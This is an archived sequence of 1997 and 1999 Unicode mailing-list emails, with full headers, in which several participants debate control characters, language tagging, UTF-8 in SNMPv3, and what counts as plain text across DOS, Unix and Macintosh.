id AA07340; Sat, 7 Jun 97 09:24:48 -0700 Message-Id: <9706071624.AA07340@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2857 (1997-06-07 16:24:32 GMT) To: Multiple Recipients of Reply-To: Frank da Cruz From: ""Unicode Discussion"" Date: Sat, 7 Jun 1997 09:24:30 -0700 (PDT) Subject: Re: Plane 14 codes for language tagging? > > > My personal preference is for number 2. I kind of like Martin's proposal > > > for introducing a plain-text language tag using a control code, and I > > > think the existing control codes are fine. > > Good idea. Indeed the C1 area is not used in the Internet as far as I know. > There are still such things as terminals that use C1 control codes such as CSI, APC, OSC, etc (primarily VT220 and higher, which are the predominant types used by emulators such Kermit, Xterm, DECterm, etc). Do we intend that Unicode and terminal-to-host communication will become mutually exclusive concepts? - Frank 7-Jun-97 17:14:31-GMT,1996;000000000011 Return-Path: Received: from josef.ifi.unizh.ch (josef.ifi.unizh.ch [130.60.48.10]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id NAA07882 for ; Sat, 7 Jun 1997 13:14:30 -0400 (EDT) Received: from ifi.unizh.ch by josef.ifi.unizh.ch with SMTP (PP) id <18036-0@josef.ifi.unizh.ch>; Sat, 7 Jun 1997 19:14:30 +0200 Date: Sat, 7 Jun 1997 19:14:28 +0200 (MET DST) From: ""Martin J. Duerst"" Sender: mduerst@enoshima To: Frank da Cruz cc: Multiple Recipients of , MLSF discussion -- IETF Languages , Multiple Recipients of Subject: Re: Plane 14 codes for language tagging? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 7 Jun 1997, Frank da Cruz wrote: > > > > My personal preference is for number 2. I kind of like Martin's proposal > > > > for introducing a plain-text language tag using a control code, and I > > > > think the existing control codes are fine. > > > > Good idea. Indeed the C1 area is not used in the Internet as far as I know. > > > There are still such things as terminals that use C1 control codes such as > CSI, APC, OSC, etc (primarily VT220 and higher, which are the predominant > types used by emulators such Kermit, Xterm, DECterm, etc). Do we intend that > Unicode and terminal-to-host communication will become mutually exclusive > concepts? Frank - I understand your concerns. But one way of looking at what we need is some tagging format possibly used in ACAP and IMAP, which MUST not leak to other places. And what you probably worry about is the C1 area in terms of octets (which is already gone with UTF-8) and not the C1 character space in Unicode, which turns up as two bytes in UTF-8. Regards, Martin. 8-Jun-97 8:27:08-GMT,2730;000000000001 Return-Path: Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id EAA06491 for ; Sun, 8 Jun 1997 04:27:07 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by mail-out1.apple.com (8.8.5/8.8.5) with SMTP id BAA08438; Sun, 8 Jun 1997 01:14:24 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA09568; Sun, 8 Jun 97 01:11:13 -0700 Message-Id: <9706080811.AA09568@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2866 (1997-06-08 08:10:50 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Sun, 8 Jun 1997 01:10:49 -0700 (PDT) Subject: Re: Comments on Finally got around to reading the MLSF Internet Draft. Couple of comments: 1) One thing really made me jump: the first sentence in the Abstract. ""While UTF-8 solves most internationalization (I18N) problems, ..."" That makes as much sense to me as saying that QuotedPrintable solves most I18N problems for Western Europe. It's not QP which does that, it's ISO 8859-1. QP is just one way to encode 8859-1 text so it can past most mail relays without corruption. But Base64 is another way to do the same thing (which can make statistical sense for some languages). Similarly, it's not UTF-8 which solves the wider problem of world-wide I18N, it's Unicode (and/or ISO 10646). The canonical representation of Unicode is 16-bit quantities (UCS-2). UTF-8 is nothing more than one of many possible transformations (UTF-7 is another that's already defined: RFC 2152). If I understood right, UTF-8 was created mainly to make Unicode coexist reasonably well with existing OSs that use 8-bit characters, for example Unix. Not that I agree with the proposal, but the MLSF Internet Draft should make clear what the implications are of trying to put language tags into UTF-8 (for example, assumption that UTF-8 becomes the canonical representation of Unicode, loss of tagging when converting to other CESs). I guess the pros and cons have been discussed at length here. 2) It would have been nice to put a few examples of actual UTF-8 strings with language tags (in hex of course) in the document. As to the fundamental issue of whether language tagging belongs in plain-text Unicode, I must say I'm pretty neutral at this point. I think they could be useful. But, as Frank was saying, if it's going to take 10 years to converge to an acceptable solution, then it doesn't belong in plain text, but at a higher level. Pierre 9-Jun-97 3:10:12-GMT,1193;000000000001 Return-Path: Received: from cam.spyglass.com (sapir.cam.spyglass.com [208.203.148.66]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA24496 for ; Sun, 8 Jun 1997 23:10:11 -0400 (EDT) Received: from mykhe.cam.spyglass.com (shivacam-1.cam.spyglass.com [208.203.149.181]) by cam.spyglass.com (8.7.5/8.7.3) with SMTP id XAA00525 for ; Sun, 8 Jun 1997 23:10:22 -0400 (EDT) Message-Id: <3.0.32.19970608224316.006e9e50@mailhost.cam.spyglass.com> X-Sender: glenn@mailhost.cam.spyglass.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 08 Jun 1997 22:57:16 -0400 To: Frank da Cruz From: Glenn Adams Subject: Re: Plane 14 codes for language tagging? Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 10:32 AM 6/7/97 -0700, you wrote: >and escape sequences would take in a ""Unicode terminal""? Would it use >octets or hextets? The Unicode standard is clear that escape sequences and controls in canonical Unicode are encoded using 16-bit codes. Of course another encoding system which employs Unicode may choose a different tack. G. 4-Jul-97 0:38:37-GMT,4502;000000000001 Return-Path: Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id UAA01503 for ; Thu, 3 Jul 1997 20:38:35 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by mail-out2.apple.com (8.8.5/8.8.5) with SMTP id RAA37606; Thu, 3 Jul 1997 17:27:11 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA11841; Thu, 3 Jul 97 17:22:24 -0700 Message-Id: <9707040022.AA11841@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uml-Sequence: 3064 (1997-07-04 00:22:02 GMT) To: Multiple Recipients of Reply-To: Randy Presuhn From: ""Unicode Discussion"" Date: Thu, 3 Jul 1997 17:22:01 -0700 (PDT) Subject: UTF-8 in SNMPv3 Hi - The SNMPv3 working group of the IETF is hoping to make use of UTF-8 for some human-readable information in the MIBs used to manage SNMPv3. The convention currently used for this kind of information is described on page 4 of RFC 1903. (For easy reference, I've appended the text to the end of this message.) We would like to define a new convention formulated in terms of UTF-8 for use in new MIBs. What we've not yet reached agreement on is the question of ""non-printable stuff"". Some believe that NVT ASCII's control characters are somehow less problematic than those of 10646, others find the problems equivalent. The questions that come to my mind are: 1) Is there any merit to the argument that the ""non-printable stuff"" in 10646 is any better or worse than the NVT ASVII definition? 2) Can we use standard character properties to identify a ""printable"" subset that would not break for any language? (The folks that want these also want to have CRLF...) Background information: In the SNMP protocol notions of equality and ordering have no ""locale"" component. There is no notion of character equivalence. It is very much a ""bits is bits"" environment. The concerns of working group members appear to be arising from: 1) what does it mean to ""support 10646"" 2) how to display ""wierd stuff"" 3) how to input ""wierd stuff"" 4) the old CR/LF problem Is there a nice, concise, convincing answer I can take back to the working group? ========== Excerpt from RFC 1903, DisplayString Textual convention ========== ""Represents textual information taken from the NVT ASCII character set, as defined in pages 4, 10-11 of RFC 854. To summarize RFC 854, the NVT ASCII repertoire specifies: - the use of character codes 0-127 (decimal) - the graphics characters (32-126) are interpreted as US ASCII - NUL, LF, CR, BEL, BS, HT, VT and FF have the special meanings specified in RFC 854 - the other 25 codes have no standard interpretation - the sequence 'CR LF' means newline - the sequence 'CR NUL' means carriage-return - an 'LF' not preceded by a 'CR' means moving to the same column on the next line. - the sequence 'CR x' for any x other than LF or NUL is illegal. (Note that this also means that a string may end with either 'CR LF' or 'CR NUL', but not with CR.) Any object defined using this syntax may not exceed 255 characters in length."" ========== End Excerpt =============== --------------------------------------------------------------------- Randy Presuhn BMC Software, Inc. (Silicon Valley Division) Voice: +1 408 556-0720 (Formerly PEER Networks) http://www.bmc.com Fax: +1 408 556-0735 1190 Saratoga Avenue, Suite 130 Email: rpresuhn@bmc.com San Jose, California 95129-3433 USA --------------------------------------------------------------------- In accordance with the BMC Communications Systems Use and Security Policy memo dated December 10, 1996, page 2, item (g) (the first of two), I explicitly state that although my affiliation with BMC may be apparent, implied, or provided, my opinions are not necessarily those of BMC Software and that all external representations on behalf of BMC must first be cleared with a member of ""the top management team."" --------------------------------------------------------------------- 30-Jun-99 19:29:47-GMT,1992;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA19372 for ; Wed, 30 Jun 1999 15:29:45 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id MAA342738 ; Wed, 30 Jun 1999 12:18:25 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA07842; Wed, 30 Jun 99 12:01:45 -0700 Message-Id: <9906301901.AA07842@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8249 (1999-06-30 19:01:34 GMT) From: Frank da Cruz To: Unicode List Cc: Unicode List Date: Wed, 30 Jun 1999 12:01:33 -0700 (PDT) Subject: Re: Unicode selections for X11 (cont'd) Juliusz Chroboczek wrote: > I've got a question about the C0 and C1 control character ranges. > I call them `legacy control characters'. Do people object to this > terminology? > I hope so! The word ""legacy"" is emotionally toned and value-laden. It denigrates 30+ years of computing practice and standards activities, and it implies that plain text is a relic of the past to be discarded with all possible haste, and those who haven't done so yet have some sort of ""character"" defect. In fact, plain text is the only immutable format in computing. GUI and WYSIWYG formats change faster than anybody can keep up with them, and information encoded in these formats rapidly becomes inaccessible (or accessible only by utilities (like UNIX ""strings"") that extract the plain text from them, if there is any). > Does anyone have a better name? > C0 and C1 control characters. These are ISO standard character sets and ISO-standard terminology is available to refer to them. Finally, please remember that Unicode is a plain-text standard. The control characters are there for a reason: you need them in plain text. - Frank 30-Jun-99 19:54:27-GMT,2968;000000000011 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA29133 for ; Wed, 30 Jun 1999 15:54:26 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id MAA188082 ; Wed, 30 Jun 1999 12:50:57 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA08427; Wed, 30 Jun 99 12:36:54 -0700 Message-Id: <9906301936.AA08427@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 (generated by tm-edit 7.104) Content-Type: text/plain; charset=US-ASCII X-Uml-Sequence: 8252 (1999-06-30 19:36:20 GMT) From: Juliusz Chroboczek To: Unicode List Date: Wed, 30 Jun 1999 12:36:18 -0700 (PDT) Subject: Re: Unicode selections for X11 (cont'd) >> I've got a question about the C0 and C1 control character ranges. >> I call them `legacy control characters'. Do people object to this >> terminology? Frank da Cruz : FdC> I hope so! The word ""legacy"" is emotionally toned and FdC> value-laden. It denigrates 30+ years of computing practice and FdC> standards activities, and it implies that plain text is a relic FdC> of the past to be discarded with all possible haste, It cannot be said that the C0 and C1 control characters are the greatest achievement of these ``30+ years etc.'' FdC> In fact, plain text is the only immutable format in computing. Agreed. And the only reason it is not portable is the poor standardisation of the C0 and C1 control characters. I've seen the following forms of plain text: NL is a line break, there's no paragraphs: Unix NL is a line break, NL NL is a paragraph separator: Unix NL is a paragraph separator, line breaks are implicit: ports of MS-DOS applications to Unix. CR LF is a line break: MS-DOS CR LF is a paragraph separator, line breaks are implicit: MS-DOS. CR LF is a paragraph separator, CR (or was it LF?) is a line break: MS-DOS. CR is a line break: MacOS. CR is a paragraph separator: MacOS. without counting, of course, systems on which record information is kept out-of-band (such as VMS). >> Does anyone have a better name? FdC> C0 and C1 control characters. These are ISO standard character FdC> sets and ISO-standard terminology is available to refer to them. Okay. Changed. FdC> Finally, please remember that Unicode is a plain-text standard. FdC> The control characters are there for a reason: you need them in FdC> plain text. You need a paragraph separator and possibly a line break (and perhaps a page break). Unicode defines well-standardised codepoints for those. If you use other control characters, such as SO/SI for controlling boldface or italics, or BS (or CR) for overstriking, or terminal control sequences, it ain't plain text no more. J. 30-Jun-99 20:08:23-GMT,4025;000000000011 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA03904 for ; Wed, 30 Jun 1999 16:08:22 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id MAA200106 ; Wed, 30 Jun 1999 12:52:24 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA08371; Wed, 30 Jun 99 12:35:22 -0700 Message-Id: <9906301935.AA08371@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8250 (1999-06-30 19:35:08 GMT) From: Asmus Freytag To: Unicode List Date: Wed, 30 Jun 1999 12:35:07 -0700 (PDT) Subject: Re: Superscript asterisk Being able to do ""plain text"" math is one of the goals of the Unicode Technical Committee now. Since the publication of Unicode 2.0, three years ago, we have had a lot of expert input on what plain text math capabilities are needed, and also, where our existing repertoire of math operators is insufficient. (We are, incidentally, also interested in evaluating and improving our other technical symbol collections, but so far have not had the long and sustained input from experts in other fields, as we had for mathematics). Full layout of mathematical expressions will need some form of markup, although many formulas that do not need the full generality can be laid out correctly if the mathematical operator characters in Unicode are interpreted semantically. Semantics for formatting that one needs to distinguish e.g. between summation sign and sigma. They look the same, but summation sign can take limit expressions etc. Another aspect of semantics is the mathematical semantics. Here it's necessary to make enough distinctions so that, if a small and large form of an operator can occur in the same text, that they can be distinguished by their character code without recourse to font information. Doing so, allows plain text searches for math formula. Caveat: If and where mathematicians have used 'operator overloading', to borrow a C++ term, and deliberately used the same operator with different mathemtical meaning in another sub-discipline, we would not sub-divide the character, as the larger context would be enough to determine its meaning. Our foremost goal has therefore been to complete our repertoire and where necessary introduce additional distinctions for the two reasons I mentioned. In the case of ASTERISK, the analysis that is needed, and that, as far as I have seen, has not been made, is to present evidence that cases exist (or are easily conceivable) where *both* the ASCII asterisk and yet another asterisk are needed in the same text, and with consistent distinction in use or formatting. Ricardo has said that one could use the proposed asterisk in conjunction with the ASCII asterisk do denote a regular expression of zero or more asterisks. This is the one example that cannot serve, since by extension, it would require an infinite series of asterisks (suppose I wanted to define a regular expression consisting of zero or more instances of the proposed asterisk!). Typographically, asterisk may indeed show a variation betweem full-size and superscript forms. For standard text fonts, the full-size form of asterisk occurs only occasionally. In the vast majority of fonts on my system, as well as in the Unicode Standard, and ISO/IEC10646-1, ASTERISK is clearly depicted as a superscripted symbol (i.e. it's 1/2 height and extends upwards from the centerline of the font, which is just slightly below the x height). The asterisk and superscript 2 have the same location and dimension. Therefore, unless Ricardo is proposing a character that has the same dimension as a *superscripted* SUPERSCRIPT TWO, my conclusion would be that we already _have_ the character he wants, and that he is using a poor font for his purpose. A./ 30-Jun-99 20:24:18-GMT,2893;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA08593 for ; Wed, 30 Jun 1999 16:24:17 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id NAA188518 ; Wed, 30 Jun 1999 13:10:34 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA08959; Wed, 30 Jun 99 13:00:48 -0700 Message-Id: <9906302000.AA08959@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8253 (1999-06-30 20:00:25 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Wed, 30 Jun 1999 13:00:24 -0700 (PDT) Subject: Re: Unicode selections for X11 (cont'd) > It cannot be said that the C0 and C1 control characters are the > greatest achievement of these ``30+ years etc.'' > Actually they served us all rather well considering how few of them there are and how long they lasted (and continue to last). We've covered this ground before... But (to cite only one example) do you know how many terminals and terminal emulators are ""still"" in use? I would venture to say the number has not declined significantly since the 1980s. It might well have increased. It's just that they are no longer the *only* form of online access, and they work well, so we ignore them. > FdC> In fact, plain text is the only immutable format in computing. > > Agreed. And the only reason it is not portable is the poor > standardisation of the C0 and C1 control characters. > The CR/LF/CRLF confusion is annoying of course, but we've lived with it all these years, and continue to live with it. But you're talking about file formats. The use of control characters in data communications is fairly well standardized, pretty much along the lines of a Teletype: CR moves the print head to the left margin, LF moves it down one line, and ESC introduces a device-dependent escape or control sequence, etc. > FdC> Finally, please remember that Unicode is a plain-text standard. > FdC> The control characters are there for a reason: you need them in > FdC> plain text. > > You need a paragraph separator and possibly a line break (and perhaps > a page break). Unicode defines well-standardised codepoints for > those. If you use other control characters, such as SO/SI for > controlling boldface or italics, or BS (or CR) for overstriking, or > terminal control sequences, it ain't plain text no more. > But Unicode and the terminal acess model are not mutually exclusive. There can be (and are) Unicode-based terminal emulators, capable of handling (e.g.) UTF-8 on the wire. And when you have terminal communications, you have control characters. (When you emulate, say, a VT320, you have LOTS of control characters :-) - Frank 30-Jun-99 21:45:11-GMT,2978;000000000011 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id RAA04617 for ; Wed, 30 Jun 1999 17:45:10 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id OAA339770 ; Wed, 30 Jun 1999 14:33:51 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA09734; Wed, 30 Jun 99 14:17:35 -0700 Message-Id: <9906302117.AA09734@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uml-Sequence: 8255 (1999-06-30 21:17:25 GMT) From: Markus Kuhn To: Unicode List Date: Wed, 30 Jun 1999 14:17:23 -0700 (PDT) Subject: Re: Plain Text Juliusz Chroboczek wrote on 1999-06-30 19:36 UTC: > You need a paragraph separator and possibly a line break (and perhaps > a page break). Unicode defines well-standardised codepoints for > those. If you use other control characters, such as SO/SI for > controlling boldface or italics, or BS (or CR) for overstriking, or > terminal control sequences, it ain't plain text no more. The only thing that is clear about ""plain text"" is that it is not well defined at all. There is certainly no ISO standard that gives you any indication of what ""plain text"" is. The Unix community feels somewhat confident about the notion of plain text, just because they have editors such as ed, vi, emacs, etc. that agree on a common text format that is so simple that it has become customary to refer to it as plaintext. Many aspects of ""plain text"" are ill-defined these days: a) how do you terminate lines and paragraphs b) is there a terminator after the last line/paragraph c) is the line formatting the task of the sending or the receiving process? For Unix the answers used to be a) LF and no paragraph concept b) yes c) the sender has to insert line breaks but thanks to the heterogenity of the Internet, these strict rules have for some years been weakened significantly in common practice. Some aspects of the classical Unix plaintext definition (which came originally from tty output hardware interfaces) do not make sense any more. For example, the insertation of LFs in the middle of paragraphs, causes these LFs to move around whenever a few words are changed, which seriously disrupts revision control systems (e.g., diff and RCS) and it is not adequate anymore at all today with reformatting web browsers now being a dominating output device and not 1960s ttys. I think the Unix community should slowly get used to the idea of abandoning LFs in the middle of paragraphs in plain text documents and let the editor and display tool perform the reformatting at display time. Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: 30-Jun-99 22:46:24-GMT,2237;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id SAA22071 for ; Wed, 30 Jun 1999 18:46:24 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id PAA187464 ; Wed, 30 Jun 1999 15:36:20 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA10018; Wed, 30 Jun 99 15:25:38 -0700 Message-Id: <9906302225.AA10018@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8256 (1999-06-30 22:25:27 GMT) From: John Cowan To: Unicode List Date: Wed, 30 Jun 1999 15:25:26 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Markus Kuhn scripsit: > The only thing that is clear about ""plain text"" is that it is not well > defined at all. There is certainly no ISO standard that gives you any > indication of what ""plain text"" is. What a pity. Perhaps there should be one (no :-)). > The Unix community feels somewhat > confident about the notion of plain text, just because they have editors > such as ed, vi, emacs, etc. that agree on a common text format that is > so simple that it has become customary to refer to it as plaintext. The notion of plain text long predates Unix: it was exactly the same, for example, on the PDP-8, which is where I first learned computing. (Terminator was CR/LF, and the character code was 7-bit-ASCII-with-8th-bit- set, for uniformity with Model 33 Teletypes). > I think the Unix community should slowly get used to the idea of > abandoning LFs in the middle of paragraphs in plain text documents and > let the editor and display tool perform the reformatting at display > time. AFAIK, the ""reformatting web browsers"" you refer to do not reformat plain text at all, which means that infinite-line-length alleged plain text can be read only with difficulty and much scrolling, and printing is impossible. -- John Cowan cowan@ccil.org I am a member of a civilization. --David Brin 30-Jun-99 22:54:43-GMT,3347;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id SAA23739 for ; Wed, 30 Jun 1999 18:54:43 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id PAA57670 ; Wed, 30 Jun 1999 15:46:45 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA10105; Wed, 30 Jun 99 15:33:04 -0700 Message-Id: <9906302233.AA10105@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8257 (1999-06-30 22:32:56 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Wed, 30 Jun 1999 15:32:55 -0700 (PDT) Subject: Re: Plain Text > The only thing that is clear about ""plain text"" is that it is not well > defined at all. > Actually, it tends to be well-defined for each platform. And then the interchange methods among platforms tend to converge on a few simple conventions: ASCII (or the appropriate ISO character set, or now UTF-8 or other form of Unicode), as opposed to EBCDIC (or Baudot, or Sixbit); CRLFs separating lines, and paragraphs separated by blank lines. Somewhat less well defined, but nevertheless in common use, are bare Carriage Return or Backspace for overstriking, Formfeed for ""new page"", and Tab for tabbing (with several different conventions about tabstops). Lines are terminated at somewhere between 72 and 80 characters by convention, because that's how wide terminal screens are, and before them the Teletype carriage, and before that the most common kind of punchcard. Or for that matter, typewriters and sheets of paper (A4 or US, take your pick :-) To this day, we follow these conventions in newsgroups and email, although now it might be more a matter of ""netiquette"" than necessity (as in the BITNET days, when e-mail was, quite literally, 80-column card images). These simple conventions let us format our text exactly the way we want to. We can indent or not, we can put line breaks where we want them, we can have columns of numbers or other tabular presentations, mathematical expressions, and idiosyncratic forms of emphasis. Many people want their text to stay the way they wrote it. And many people also are not fond of receiving email in every kind of bizarre format than any application developer can dream up when it contains, in fact, nothing but words (but I stray). > I think the Unix community should slowly get used to the idea of > abandoning LFs in the middle of paragraphs in plain text documents and > let the editor and display tool perform the reformatting at display > time. > But what IS plain text? Maybe some people might like to have their email reformatted, but I don't think they want their C or Fortran or PostScript programs to receive the same treatment. Nor, for that matter poetry or any other forms of text where line breaks, indentation, and blank lines serve a purpose. As in, for example, the preceding paragraph. No more plain-text bashing! No more ""legacy"" saying! Our focus should be not on stamping out plain text, but on promoting international multilingual communication through a universal character set that does not impose a a particular modus vivendi upon its users. - Frank 30-Jun-99 23:19:45-GMT,1376;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA26033 for ; Wed, 30 Jun 1999 19:19:43 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id QAA258932 ; Wed, 30 Jun 1999 16:07:28 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA10518; Wed, 30 Jun 99 15:53:44 -0700 Message-Id: <9906302253.AA10518@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8258 (1999-06-30 22:53:34 GMT) From: John Cowan To: Unicode List Date: Wed, 30 Jun 1999 15:53:33 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Frank da Cruz scripsit: > No more plain-text bashing! No more ""legacy"" saying! Our focus should be > not on stamping out plain text, but on promoting international multilingual > communication through a universal character set that does not impose a > a particular modus vivendi upon its users. Hear, hear! Unicode (n.): The *last* legacy character set. -- John Cowan cowan@ccil.org I am a member of a civilization. --David Brin 1-Jul-99 20:12:49-GMT,3132;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id QAA02796; Thu, 1 Jul 1999 16:11:21 -0400 (EDT) Date: Thu, 1 Jul 99 16:11:21 EDT From: Frank da Cruz To: Otto Stolz cc: unicode@unicode.org Subject: Re: Plain Text In-Reply-To: Your message of Thu, 1 Jul 1999 03:57:30 -0700 (PDT) Message-ID: > Am 1999-06-30 um 14:17 h PDT hat Markus Kuhn geschrieben: > > The only thing that is clear about ""plain text"" is that it is not well > > defined at all. > > Am 1999-06-30 um 15:32 h PDT hat Frank da Cruz geschrieben: > > Actually, it tends to be well-defined for each platform. > > In MS-DOS (or PC-DOS and other DOS variants) on the PC, it is not > well defined, at all: > Not to prolong this discussion, which took place once before, at great length, in May to July 1997... > - '0D0A'x (CR+LF) means either line-break or pararaph separator, > When/if it means pararaph separator it's not plain text. Plain text is what you TYPE at the DOS prompt. In such files (e.g. a READ.ME file) CRLF means Carriage Return (move the cursor to the left margin) and Line Feed (move the cursor down one row). > - '09'x (HT) means either a tabulator (and nobody knows where the > tab positions are supposed to be) or a line-break, > In DOS, when you TYPE a file at the DOS prompt, a Tab character is expanded to enough blanks to bring us to the next tab stop, which are set according to the most common convention: 1, 9, 17, ... (1-based). > - '1A'x (SUB, aka Ctrl-Z) either means end of text, or a > right-pointing arrow; when it is used as an end-of-text marker, > the remainder of the storage block may contain arbitrary characters > with some programs and must contain '00'x with other programs (nice > feature when one of the former writes a file one of the latter is > supposed to read). > That's not a plain-text issue, it's a character encoding and file format issue. Ctrl-Z as an EOF indicator is a relic of CP/M, carried forward into DOS for compatibility, used by some apps and ignored by others. Two years ago I suggested that we come up with a standard for Unicode plain text that can be used as a baseline when converting files from DOS, UNIX, the Macintosh, etc, to Unicode, and that says what control characters (C0, C1, as well as Line Separator, Paragraph Separator, etc) mean in a plain-text file or data stream. We made some good progress but eventually the discussion fizzled out. If I can summarize it briefly: . Yes, but plain text in this sense is inadequate for representing (list of writing systems that need higher-level formatting assistance, rendering engines, etc.) . Fine, but they need that anyway. For many other languages, plain text is possible, and there should be no reason not to settle on a standard representation for it in those cases where it can be used. If anybody would like to revisit that discussion, I've uploaded it to: ftp://kermit.columbia.edu/kermit/e/plain.txt (about 300K of plain text :-) - Frank 2-Jul-99 7:37:25-GMT,6658;000000000011 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id DAA21905 for ; Fri, 2 Jul 1999 03:37:24 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id AAA206792 ; Fri, 2 Jul 1999 00:29:42 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA18813; Fri, 2 Jul 99 00:08:06 -0700 Message-Id: <9907020708.AA18813@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8285 (1999-07-02 07:07:55 GMT) From: Edward Cherlin To: Unicode List Cc: unicode@unicode.org Date: Fri, 2 Jul 1999 00:07:54 -0700 (PDT) Subject: Re: Plain Text At 15:32 -0700 6/30/1999, Frank da Cruz wrote: >> The only thing that is clear about ""plain text"" is that it is not well >> defined at all. My experience is that ASCII plain text is sufficiently well defined but has been incredibly badly implemented, due in part to the requirement in the 1960s and 1970s for keeping programs as small as possible, and in part to the rarity of cross-platform file transfer until the 1990s. The original definition, as John Cowan has pointed out, was anything a Teletype could reliably render, including overstrikes. Thinking of ASCII as printer commands rather than text makes it easier to understand the origins of its problems. (I have used printing terminals and video terminals that permitted overstrikes, designed for APL in particular and for what you will in general. Overstriking used to be taught in typing textbooks for creating signs like cent, c BS /. The problems we have with ASCII plain text come mainly from a small set of common variant practices. Using CR, LF, or CR/LF as a line or paragraph end Different tab spacings Optional line wrap Formfeed codes vs. computed page breaks BS = DEL or BS-overstrike In the past, editors on one platform, or written for one purpose, ignored all other practices. I use two text editors, Alpha for Macintosh and Notespad (note extra 's') for Windows, which can handle all of these variations according to my preferences, including the ability to read and write text files with Mac, Windows, or Unix line break codes. Notespad even maintains an extensible list of file types where line breaking is never to be changed by the editor 